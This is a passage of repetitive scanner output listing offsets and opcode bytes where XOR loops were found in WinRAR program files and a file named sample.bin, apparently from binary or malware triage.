1069140; code bytes = 8030 Found XOR loop in file "winrar-x64-710.exe" at offset 1090061; code bytes = 8030 Found XOR loop in file "winrar-x64-710.exe" at offset 1135852; code bytes = 8030 Found XOR loop in file "winrar-x64-710.exe" at offset 1149802; code bytes = 8030 Found XOR loop in file "winrar-x64-710.exe" at offset 1210308; code bytes = 8030 Found XOR loop in file "winrar-x64-710.exe" at offset 1356617; code bytes = 8030 Found XOR loop in file "winrar-x64-710.exe" at offset 1460853; code bytes = 8030 Found XOR loop in file "winrar-x64-710.exe" at offset 1511267; code bytes = 8030 Found XOR loop in file "winrar-x64-710.exe" at offset 1525663; code bytes = 8030 Found XOR loop in file "winrar-x64-710.exe" at offset 1535032; code bytes = 8030 Found XOR loop in file "winrar-x64-710.exe" at offset 1567884; code bytes = 8030 Found XOR loop in file "winrar-x64-710.exe" at offset 1592807; code bytes = 8030 Found XOR loop in file "winrar-x64-710.exe" at offset 1716315; code bytes = 8030 Found XOR loop in file "winrar-x64-710.exe" at offset 1721573; code bytes = 8030 Found XOR loop in file "winrar-x64-710.exe" at offset 1747493; code bytes = 8030 Found XOR loop in file "winrar-x64-710.exe" at offset 1776183; code bytes = 8030 Found XOR loop in file "winrar-x64-710.exe" at offset 1787089; code bytes = 8030 Found XOR loop in file "winrar-x64-710.exe" at offset 1864360; code bytes = 8030 Found XOR loop in file "winrar-x64-710.exe" at offset 2318072; code bytes = 8030 Found XOR loop in file "winrar-x64-710.exe" at offset 2410240; code bytes = 8030 Found XOR loop in file "winrar-x64-710.exe" at offset 2412787; code bytes = 8030 Found XOR loop in file "winrar-x64-710.exe" at offset 2453007; code bytes = 8030 Found XOR loop in file "winrar-x64-710.exe" at offset 2610360; code bytes = 8030 Found XOR loop in file "winrar-x64-710.exe" at offset 2764243; code bytes = 8030 Found XOR loop in file "winrar-x64-710.exe" at offset 2827267; code bytes = 8030 Found XOR loop in file "winrar-x64-710.exe" at offset 2883762; code bytes = 8030 Found XOR loop in file "winrar-x64-710.exe" at offset 2892200; code bytes = 8030 Found XOR loop in file "winrar-x64-710.exe" at offset 2987861; code bytes = 8030 Found XOR loop in file "winrar-x64-710.exe" at offset 3003587; code bytes = 8030 Found XOR loop in file "winrar-x64-710.exe" at offset 3012425; code bytes = 8030 Found XOR loop in file "winrar-x64-710.exe" at offset 3143190; code bytes = 8030 Found XOR loop in file "winrar-x64-710.exe" at offset 3310524; code bytes = 8030 Found XOR loop in file "winrar-x64-710.exe" at offset 3340051; code bytes = 8030 Found XOR loop in file "winrar-x64-710.exe" at offset 3450742; code bytes = 8030 Found XOR loop in file "winrar-x64-710.exe" at offset 3487942; code bytes = 8030 Found XOR loop in file "winrar-x64-710.exe" at offset 3521490; code bytes = 8030 Found XOR loop in file "winrar-x64-710.exe" at offset 3563125; code bytes = 8030 Found XOR loop in file "winrar-x64-710.exe" at offset 3727442; code bytes = 8030 Found XOR loop in file "winrar-x64-710.exe" at offset 3730099; code bytes = 8030 Found XOR loop in file "winrar-x64-710.exe" at offset 3730346; code bytes = 8030 Found XOR loop in file "WinRAR.exe" at offset 2026504; code bytes = 30d0 Found XOR loop in file "WinRAR.exe" at offset 2183068; code bytes = 30d0 Found XOR loop in file "WinRAR.exe" at offset 2341856; code bytes = 30d0 Found XOR loop in file "WinRAR.exe" at offset 2408232; code bytes = 30d0 Found XOR loop in file "WinRAR.exe" at offset 2490669; code bytes = 30d0 Found XOR loop in file "WinRAR.exe" at offset 2597789; code bytes = 30d0 Found XOR loop in file "WinRAR.exe" at offset 2637707; code bytes = 30d0 Found XOR loop in file "WinRAR.exe" at offset 2648707; code bytes = 30d0 Found XOR loop in file "WinRAR.exe" at offset 2821025; code bytes = 30d0 Found XOR loop in file "WinRAR.exe" at offset 2845257; code bytes = 30d0 Found XOR loop in file "WinRAR.exe" at offset 2974703; code bytes = 30d0 Found XOR loop in file "WinRAR.exe" at offset 3065114; code bytes = 30d0 Found XOR loop in file "WinRAR.exe" at offset 307327; code bytes = 33c1 Found XOR loop in file "WinRAR.exe" at offset 372380; code bytes = 33c1 Found XOR loop in file "WinRAR.exe" at offset 372413; code bytes = 33c1 Found XOR loop in file "WinRAR.exe" at offset 786034; code bytes = 33c1 Found XOR loop in file "WinRAR.exe" at offset 786093; code bytes = 33c1 Found XOR loop in file "WinRAR.exe" at offset 909981; code bytes = 33c1 Found XOR loop in file "WinRAR.exe" at offset 935510; code bytes = 33c1 Found XOR loop in file "WinRAR.exe" at offset 953666; code bytes = 33c1 Found XOR loop in file "WinRAR.exe" at offset 954825; code bytes = 33c1 Found XOR loop in file "WinRAR.exe" at offset 956211; code bytes = 33c1 Found XOR loop in file "WinRAR.exe" at offset 957097; code bytes = 33c1 Found XOR loop in file "WinRAR.exe" at offset 957485; code bytes = 33c1 Found XOR loop in file "WinRAR.exe" at offset 958733; code bytes = 33c1 Found XOR loop in file "WinRAR.exe" at offset 959500; code bytes = 33c1 Found XOR loop in file "WinRAR.exe" at offset 1089898; code bytes = 33c1 Found XOR loop in file "WinRAR.exe" at offset 1106692; code bytes = 33c1 Found XOR loop in file "WinRAR.exe" at offset 1107363; code bytes = 33c1 Found XOR loop in file "WinRAR.exe" at offset 1109794; code bytes = 33c1 Found XOR loop in file "WinRAR.exe" at offset 1109995; code bytes = 33c1 Found XOR loop in file "WinRAR.exe" at offset 1110251; code bytes = 33c1 Found XOR loop in file "WinRAR.exe" at offset 1110486; code bytes = 33c1 Found XOR loop in file "WinRAR.exe" at offset 1110972; code bytes = 33c1 Found XOR loop in file "WinRAR.exe" at offset 1111265; code bytes = 33c1 Found XOR loop in file "WinRAR.exe" at offset 1112936; code bytes = 33c1 Found XOR loop in file "WinRAR.exe" at offset 1113076; code bytes = 33c1 Found XOR loop in file "WinRAR.exe" at offset 1113093; code bytes = 33c1 Found XOR loop in file "WinRAR.exe" at offset 1155237; code bytes = 33c1 Found XOR loop in file "WinRAR.exe" at offset 1155594; code bytes = 33c1 Found XOR loop in file "WinRAR.exe" at offset 1363258; code bytes = 33c1 Found XOR loop in file "WinRAR.exe" at offset 1398691; code bytes = 33c1 Found XOR loop in file "WinRAR.exe" at offset 1688480; code bytes = 33c1 Found XOR loop in file "WinRAR.exe" at offset 1855708; code bytes = 33c1 Found XOR loop in file "WinRAR.exe" at offset 2493753; code bytes = 33c1 Found XOR loop in file "WinRAR.exe" at offset 2498357; code bytes = 33c1 Found XOR loop in file "WinRAR.exe" at offset 2632925; code bytes = 33c1 Found XOR loop in file "WinRAR.exe" at offset 2708392; code bytes = 33c1 Found XOR loop in file "WinRAR.exe" at offset 2802318; code bytes = 33c1 Found XOR loop in file "WinRAR.exe" at offset 2894225; code bytes = 33c1 Found XOR loop in file "WinRAR.exe" at offset 2942748; code bytes = 33c1 Found XOR loop in file "WinRAR.exe" at offset 2956974; code bytes = 33c1 Found XOR loop in file "WinRAR.exe" at offset 374142; code bytes = 8030 Found XOR loop in file "WinRAR.exe" at offset 374235; code bytes = 8030 Found XOR loop in file "WinRAR.exe" at offset 632300; code bytes = 8030 Found XOR loop in file "WinRAR.exe" at offset 648835; code bytes = 8030 Found XOR loop in file "WinRAR.exe" at offset 744647; code bytes = 8030 Found XOR loop in file "WinRAR.exe" at offset 744728; code bytes = 8030 Found XOR loop in file "WinRAR.exe" at offset 914978; code bytes = 8030 Found XOR loop in file "WinRAR.exe" at offset 915000; code bytes = 8030 Found XOR loop in file "WinRAR.exe" at offset 1309804; code bytes = 8030 Found XOR loop in file "WinRAR.exe" at offset 1390277; code bytes = 8030 Found XOR loop in file "WinRAR.exe" at offset 2193345; code bytes = 8030 Found XOR loop in file "WinRAR.exe" at offset 2452975; code bytes = 8030 Found XOR loop in file "WinRAR.exe" at offset 2453895; code bytes = 8030 Found XOR loop in file "WinRAR.exe" at offset 2454071; code bytes = 8030 Found XOR loop in file "WinRAR.exe" at offset 2454107; code bytes = 8030 Found XOR loop in file "WinRAR.exe" at offset 2454199; code bytes = 8030 Found XOR loop in file "WinRAR.exe" at offset 2454363; code bytes = 8030 Found XOR loop in file "WinRAR.exe" at offset 2454879; code bytes = 8030 Found XOR loop in file "WinRAR.exe" at offset 2492274; code bytes = 8030 Found XOR loop in file "WinRAR.exe" at offset 2500865; code bytes = 8030 Found XOR loop in file "WinRAR.exe" at offset 2564663; code bytes = 8030 Found XOR loop in file "WinRAR.exe" at offset 2565504; code bytes = 8030 Found XOR loop in file "WinRAR.exe" at offset 2788114; code bytes = 8030 Found XOR loop in file "WinRAR.exe" at offset 2817913; code bytes = 8030 Found XOR loop in file "WinRAR.exe" at offset 2848716; code bytes = 8030 Found XOR loop in file "WinRAR.exe" at offset 2866508; code bytes = 8030 Found XOR loop in file "WinRAR.exe" at offset 2901858; code bytes = 8030 Found XOR loop in file "WinRAR.exe" at offset 2901874; code bytes = 8030 Found XOR loop in file "WinRAR.exe" at offset 2901959; code bytes = 8030 Found XOR loop in file "WinRAR.exe" at offset 2941400; code bytes = 8030 Found XOR loop in file "WinRAR.exe" at offset 2973857; code bytes = 8030 Found XOR loop in file "WinRAR.exe" at offset 3052325; code bytes = 8030 Found XOR loop in file "WinRAR.exe" at offset 3057278; code bytes = 8030 Found XOR loop in file "WinRAR.exe" at offset 3304162; code bytes = 8030 Found XOR loop in file "WinRAR.exe" at offset 3306820; code bytes = 8030 Found XOR loop in file "WinRAR.exe" at offset 3307067; code bytes = 8030 Found XOR loop in file "Rar.exe" at offset 756536; code bytes = 30d0 Found XOR loop in file "Rar.exe" at offset 97410; code bytes = 33c1 Found XOR loop in file "Rar.exe" at offset 97469; code bytes = 33c1 Found XOR loop in file "Rar.exe" at offset 259542; code bytes = 33c1 Found XOR loop in file "Rar.exe" at offset 277906; code bytes = 33c1 Found XOR loop in file "Rar.exe" at offset 279065; code bytes = 33c1 Found XOR loop in file "Rar.exe" at offset 280479; code bytes = 33c1 Found XOR loop in file "Rar.exe" at offset 281365; code bytes = 33c1 Found XOR loop in file "Rar.exe" at offset 281752; code bytes = 33c1 Found XOR loop in file "Rar.exe" at offset 283031; code bytes = 33c1 Found XOR loop in file "Rar.exe" at offset 283815; code bytes = 33c1 Found XOR loop in file "Rar.exe" at offset 410150; code bytes = 33c1 Found XOR loop in file "Rar.exe" at offset 427124; code bytes = 33c1 Found XOR loop in file "Rar.exe" at offset 427795; code bytes = 33c1 Found XOR loop in file "Rar.exe" at offset 430226; code bytes = 33c1 Found XOR loop in file "Rar.exe" at offset 430427; code bytes = 33c1 Found XOR loop in file "Rar.exe" at offset 430683; code bytes = 33c1 Found XOR loop in file "Rar.exe" at offset 430918; code bytes = 33c1 Found XOR loop in file "Rar.exe" at offset 431404; code bytes = 33c1 Found XOR loop in file "Rar.exe" at offset 431697; code bytes = 33c1 Found XOR loop in file "Rar.exe" at offset 433368; code bytes = 33c1 Found XOR loop in file "Rar.exe" at offset 433508; code bytes = 33c1 Found XOR loop in file "Rar.exe" at offset 433525; code bytes = 33c1 Found XOR loop in file "Rar.exe" at offset 464693; code bytes = 33c1 Found XOR loop in file "Rar.exe" at offset 465050; code bytes = 33c1 Found XOR loop in file "Rar.exe" at offset 517500; code bytes = 33c1 Found XOR loop in file "Rar.exe" at offset 697086; code bytes = 30040e Found XOR loop in file "Rar.exe" at offset 111958; code bytes = 8030 Found XOR loop in file "Rar.exe" at offset 804578; code bytes = 8030 Found XOR loop in file "Rar.exe" at offset 807236; code bytes = 8030 Found XOR loop in file "Rar.exe" at offset 807483; code bytes = 8030 Found XOR loop in file "RarExt.dll" at offset 413095; code bytes = 30d0 Found XOR loop in file "RarExt.dll" at offset 449392; code bytes = 30d0 Found XOR loop in file "RarExt.dll" at offset 524244; code bytes = 30d0 Found XOR loop in file "RarExt.dll" at offset 603895; code bytes = 30d0 Found XOR loop in file "RarExt.dll" at offset 58360; code bytes = 33c1 Found XOR loop in file "RarExt.dll" at offset 216047; code bytes = 33c1 Found XOR loop in file "RarExt.dll" at offset 261976; code bytes = 33c1 Found XOR loop in file "RarExt.dll" at offset 262024; code bytes = 33c1 Found XOR loop in file "RarExt.dll" at offset 291549; code bytes = 33c1 Found XOR loop in file "RarExt.dll" at offset 349393; code bytes = 33c1 Found XOR loop in file "RarExt.dll" at offset 349535; code bytes = 33c1 Found XOR loop in file "RarExt.dll" at offset 349552; code bytes = 33c1 Found XOR loop in file "RarExt.dll" at offset 571940; code bytes = 33c1 Found XOR loop in file "RarExt.dll" at offset 586166; code bytes = 33c1 Found XOR loop in file "RarExt.dll" at offset 242052; code bytes = 8030 Found XOR loop in file "RarExt.dll" at offset 488578; code bytes = 8030 Found XOR loop in file "RarExt.dll" at offset 530076; code bytes = 8030 Found XOR loop in file "RarExt.dll" at offset 570592; code bytes = 8030 Found XOR loop in file "RarExt.dll" at offset 603049; code bytes = 8030 Found XOR loop in file "RarExt.dll" at offset 641762; code bytes = 8030 Found XOR loop in file "RarExt.dll" at offset 644419; code bytes = 8030 Found XOR loop in file "RarExt.dll" at offset 644666; code bytes = 8030 Found XOR loop in file "UnRAR.exe" at offset 345188; code bytes = 30d0 Found XOR loop in file "UnRAR.exe" at offset 27986; code bytes = 33c1 Found XOR loop in file "UnRAR.exe" at offset 28045; code bytes = 33c1 Found XOR loop in file "UnRAR.exe" at offset 184706; code bytes = 33c1 Found XOR loop in file "UnRAR.exe" at offset 200176; code bytes = 33c1 Found XOR loop in file "UnRAR.exe" at offset 200847; code bytes = 33c1 Found XOR loop in file "UnRAR.exe" at offset 203278; code bytes = 33c1 Found XOR loop in file "UnRAR.exe" at offset 203479; code bytes = 33c1 Found XOR loop in file "UnRAR.exe" at offset 203735; code bytes = 33c1 Found XOR loop in file "UnRAR.exe" at offset 203970; code bytes = 33c1 Found XOR loop in file "UnRAR.exe" at offset 204456; code bytes = 33c1 Found XOR loop in file "UnRAR.exe" at offset 204749; code bytes = 33c1 Found XOR loop in file "UnRAR.exe" at offset 206420; code bytes = 33c1 Found XOR loop in file "UnRAR.exe" at offset 206560; code bytes = 33c1 Found XOR loop in file "UnRAR.exe" at offset 206577; code bytes = 33c1 Found XOR loop in file "UnRAR.exe" at offset 231953; code bytes = 33c1 Found XOR loop in file "UnRAR.exe" at offset 232310; code bytes = 33c1 Found XOR loop in file "UnRAR.exe" at offset 277788; code bytes = 33c1 Found XOR loop in file "UnRAR.exe" at offset 388304; code bytes = 8030 Found XOR loop in file "UnRAR.exe" at offset 441972; code bytes = 8030 Found XOR loop in file "UnRAR.exe" at offset 464856; code bytes = 8030 Found XOR loop in file "UnRAR.exe" at offset 536802; code bytes = 8030 Found XOR loop in file "UnRAR.exe" at offset 539460; code bytes = 8030 Found XOR loop in file "UnRAR.exe" at offset 539707; code bytes = 8030 Found XOR loop in file "RarExt32.dll" at offset 351068; code bytes = 30d0 Found XOR loop in file "RarExt32.dll" at offset 351760; code bytes = 30d0 Found XOR loop in file "RarExt32.dll" at offset 484087; code bytes = 30d0 Found XOR loop in file "RarExt32.dll" at offset 522381; code bytes = 30d0 Found XOR loop in file "RarExt32.dll" at offset 522769; code bytes = 30d0 Found XOR loop in file "RarExt32.dll" at offset 41048; code bytes = 33c1 Found XOR loop in file "RarExt32.dll" at offset 41580; code bytes = 33c1 Found XOR loop in file "RarExt32.dll" at offset 223446; code bytes = 33c1 Found XOR loop in file "RarExt32.dll" at offset 452132; code bytes = 33c1 Found XOR loop in file "RarExt32.dll" at offset 466358; code bytes = 33c1 Found XOR loop in file "RarExt32.dll" at offset 450784; code bytes = 8030 Found XOR loop in file "RarExt32.dll" at offset 483241; code bytes = 8030 Found XOR loop in file "RarExt32.dll" at offset 518920; code bytes = 8030 Found XOR loop in file "RarExt32.dll" at offset 526518; code bytes = 8030 Found XOR loop in file "RarExt32.dll" at offset 527528; code bytes = 8030 Found XOR loop in file "RarExt32.dll" at offset 531170; code bytes = 8030 Found XOR loop in file "RarExt32.dll" at offset 533828; code bytes = 8030 Found XOR loop in file "RarExt32.dll" at offset 534075; code bytes = 8030 Found XOR loop in file "Uninstall.exe" at offset 88828; code bytes = 33c1 Found XOR loop in file "Uninstall.exe" at offset 157521; code bytes = 33c1 Found XOR loop in file "Uninstall.exe" at offset 258994; code bytes = 8030 Found XOR loop in file "Uninstall.exe" at offset 294567; code bytes = 8030 Found XOR loop in file "Uninstall.exe" at offset 385250; code bytes = 8030 Found XOR loop in file "Uninstall.exe" at offset 387908; code bytes = 8030 Found XOR loop in file "Uninstall.exe" at offset 388155; code bytes = 8030 Found XOR loop in file "7zxa.dll" at offset 77887; code bytes = 33c1 Found XOR loop in file "7zxa.dll" at offset 78066; code bytes = 33c1 Found XOR loop in file "7zxa.dll" at offset 78127; code bytes = 33c1 Found XOR loop in file "7zxa.dll" at offset 145959; code bytes = 33c1 Found XOR loop in file "7zxa.dll" at offset 145992; code bytes = 33c1 Found XOR loop in file "7zxa.dll" at offset 146025; code bytes = 33c1 Found XOR loop in file "7zxa.dll" at offset 146058; code bytes = 33c1 Found XOR loop in file "7zxa.dll" at offset 149449; code bytes = 33c1 Found XOR loop in file "7zxa.dll" at offset 149457; code bytes = 33c1 Found XOR loop in file "7zxa.dll" at offset 149577; code bytes = 33c1 Found XOR loop in file "7zxa.dll" at offset 149588; code bytes = 33c1 Found XOR loop in file "7zxa.dll" at offset 149692; code bytes = 33c1 Found XOR loop in file "7zxa.dll" at offset 149704; code bytes = 33c1 Found XOR loop in file "7zxa.dll" at offset 149809; code bytes = 33c1 Found XOR loop in file "7zxa.dll" at offset 149825; code bytes = 33c1 Found XOR loop in file "7zxa.dll" at offset 150062; code bytes = 33c1 Found XOR loop in file "7zxa.dll" at offset 150073; code bytes = 33c1 Found XOR loop in file "7zxa.dll" at offset 150240; code bytes = 33c1 Found XOR loop in file "7zxa.dll" at offset 150251; code bytes = 33c1 Found XOR loop in file "7zxa.dll" at offset 150299; code bytes = 33c1 Found XOR loop in file "7zxa.dll" at offset 150414; code bytes = 33c1 Found XOR loop in file "7zxa.dll" at offset 150423; code bytes = 33c1 Found XOR loop in file "7zxa.dll" at offset 150491; code bytes = 33c1 Found XOR loop in file "7zxa.dll" at offset 150595; code bytes = 33c1 Found XOR loop in file "7zxa.dll" at offset 150607; code bytes = 33c1 Found XOR loop in file "7zxa.dll" at offset 160844; code bytes = 33c1 Found XOR loop in file "7zxa.dll" at offset 68084; code bytes = 8030 Found XOR loop in file "7zxa.dll" at offset 219874; code bytes = 8030 Found XOR loop in file "7zxa.dll" at offset 222531; code bytes = 8030 Found XOR loop in file "7zxa.dll" at offset 222778; code bytes = 8030 Found XOR loop in file "RarExtInstaller.exe" at offset 35240; code bytes = 33c1 Found XOR loop in file "RarExtInstaller.exe" at offset 203490; code bytes = 8030 Found XOR loop in file "RarExtInstaller.exe" at offset 206148; code bytes = 8030 Found XOR loop in file "RarExtInstaller.exe" at offset 206395; code bytes = 8030 Found XOR loop in file "Default.SFX" at offset 401384; code bytes = 30d0 Found XOR loop in file "Default.SFX" at offset 26322; code bytes = 33c1 Found XOR loop in file "Default.SFX" at offset 26381; code bytes = 33c1 Found XOR loop in file "Default.SFX" at offset 108807; code bytes = 33c1 Found XOR loop in file "Default.SFX" at offset 110676; code bytes = 33c1 Found XOR loop in file "Default.SFX" at offset 112424; code bytes = 33c1 Found XOR loop in file "Default.SFX" at offset 112563; code bytes = 33c1 Found XOR loop in file "Default.SFX" at offset 112580; code bytes = 33c1 Found XOR loop in file "Default.SFX" at offset 205036; code bytes = 33c1 Found XOR loop in file "Default.SFX" at offset 409779; code bytes = 33c1 Found XOR loop in file "Zip.SFX" at offset 50575; code bytes = 33c1 Found XOR loop in file "Zip.SFX" at offset 52444; code bytes = 33c1 Found XOR loop in file "Zip.SFX" at offset 78428; code bytes = 33c1 Found XOR loop in file "Zip.SFX" at offset 159756; code bytes = 33c1 Found XOR loop in file "Zip.SFX" at offset 218049; code bytes = 33c1 Found XOR loop in file "Zip.SFX" at offset 356531; code bytes = 33c1 Found XOR loop in file "Zip.SFX" at offset 103105; code bytes = 8030 Found XOR loop in file "WinCon.SFX" at offset 19938; code bytes = 33c1 Found XOR loop in file "WinCon.SFX" at offset 19997; code bytes = 33c1 Found XOR loop in file "WinCon.SFX" at offset 115535; code bytes = 33c1 Found XOR loop in file "WinCon.SFX" at offset 117404; code bytes = 33c1 Found XOR loop in file "WinCon.SFX" at offset 119152; code bytes = 33c1 Found XOR loop in file "WinCon.SFX" at offset 119291; code bytes = 33c1 Found XOR loop in file "WinCon.SFX" at offset 119308; code bytes = 33c1 Found XOR loop in file "WinCon.SFX" at offset 165164; code bytes = 33c1 Found XOR loop in file "Default32.SFX" at offset 250444; code bytes = 30d0 Found XOR loop in file "Default32.SFX" at offset 255092; code bytes = 30d0 Found XOR loop in file "Default32.SFX" at offset 292100; code bytes = 30d0 Found XOR loop in file "Default32.SFX" at offset 362589; code bytes = 30d0 Found XOR loop in file "Default32.SFX" at offset 363613; code bytes = 30d0 Found XOR loop in file "Default32.SFX" at offset 370115; code bytes = 30d0 Found XOR loop in file "Default32.SFX" at offset 371999; code bytes = 30d0 Found XOR loop in file "Default32.SFX" at offset 155527; code bytes = 33c1 Found XOR loop in file "Default32.SFX" at offset 158072; code bytes = 33c1 Found XOR loop in file "Default32.SFX" at offset 309427; code bytes = 33c1 Found XOR loop in file "Default32.SFX" at offset 226069; code bytes = 8030 Found XOR loop in file "Default32.SFX" at offset 371052; code bytes = 8030 Found XOR loop in file "Default32.SFX" at offset 371966; code bytes = 8030 Found XOR loop in file "Zip32.SFX" at offset 211269; code bytes = 30d0 Found XOR loop in file "Zip32.SFX" at offset 331191; code bytes = 30d0 Found XOR loop in file "Zip32.SFX" at offset 333285; code bytes = 30d0 Found XOR loop in file "Zip32.SFX" at offset 52441; code bytes = 33c1 Found XOR loop in file "Zip32.SFX" at offset 52447; code bytes = 33c1 Found XOR loop in file "Zip32.SFX" at offset 55782; code bytes = 33c1 Found XOR loop in file "Zip32.SFX" at offset 78160; code bytes = 33c1 Found XOR loop in file "Zip32.SFX" at offset 122062; code bytes = 33c1 Found XOR loop in file "Zip32.SFX" at offset 124600; code bytes = 33c1 Found XOR loop in file "Zip32.SFX" at offset 269491; code bytes = 33c1 Found XOR loop in file "Zip32.SFX" at offset 327945; code bytes = 33c1 Found XOR loop in file "Zip32.SFX" at offset 329621; code bytes = 33c1 Found XOR loop in file "Zip32.SFX" at offset 78815; code bytes = 8030 Found XOR loop in file "Zip32.SFX" at offset 327786; code bytes = 8030 Found XOR loop in file "Zip32.SFX" at offset 329724; code bytes = 8030 Found XOR loop in file "Zip32.SFX" at offset 331172; code bytes = 8030 Found XOR loop in file "Zip32.SFX" at offset 332212; code bytes = 8030 Found XOR loop in file "Zip32.SFX" at offset 333250; code bytes = 8030 Found XOR loop in file "WinCon32.SFX" at offset 71700; code bytes = 30d0 Found XOR loop in file "WinCon32.SFX" at offset 323787; code bytes = 30d0 Found XOR loop in file "WinCon32.SFX" at offset 326041; code bytes = 30d0 Found XOR loop in file "WinCon32.SFX" at offset 129847; code bytes = 33c1 Found XOR loop in file "WinCon32.SFX" at offset 132392; code bytes = 33c1 Found XOR loop in file "WinCon32.SFX" at offset 317139; code bytes = 33c1 Found XOR loop in file "WinCon32.SFX" at offset 323768; code bytes = 8030 Found XOR loop in file "WinCon32.SFX" at offset 325336; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 448152; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 461521; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 480073; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 511911; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 594124; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 604959; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 672132; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 720680; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 757844; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 794068; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 1001426; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 1015305; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 1183477; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 1271067; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 1274064; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 1411644; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 1461491; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 1496734; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 1556276; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 1681402; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2129129; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2160574; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2164247; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2336957; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2515647; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2540747; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2699548; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2803676; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2827986; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2852032; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2883622; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2891897; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2947364; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 3159251; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 3261075; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 3282624; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 3287808; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 3321397; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 3382561; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 3389413; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 3413591; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 3449877; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 3512524; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 3562824; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 3588787; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 3588804; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 3588917; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 3598269; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 3702856; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 3716870; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 3797191; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 104133; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 104195; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 224998; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 514995; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 519599; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 586159; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 667657; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 711385; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 761723; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 864178; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 921800; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 943223; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 992539; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 994475; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1136431; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1141112; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1152919; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1177537; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1236874; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1240323; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1323143; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1327496; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1512686; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1513423; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1650997; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1726122; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1736283; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1742129; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1810476; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1824552; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1915782; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1956876; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 2041732; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 2045119; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 2150318; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 2177631; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 2352408; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 2445584; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 2519493; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 2602749; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 2805227; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 2837586; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 2869716; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 2889365; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 2910275; code bytes = 33c1 Found XOR loop in file 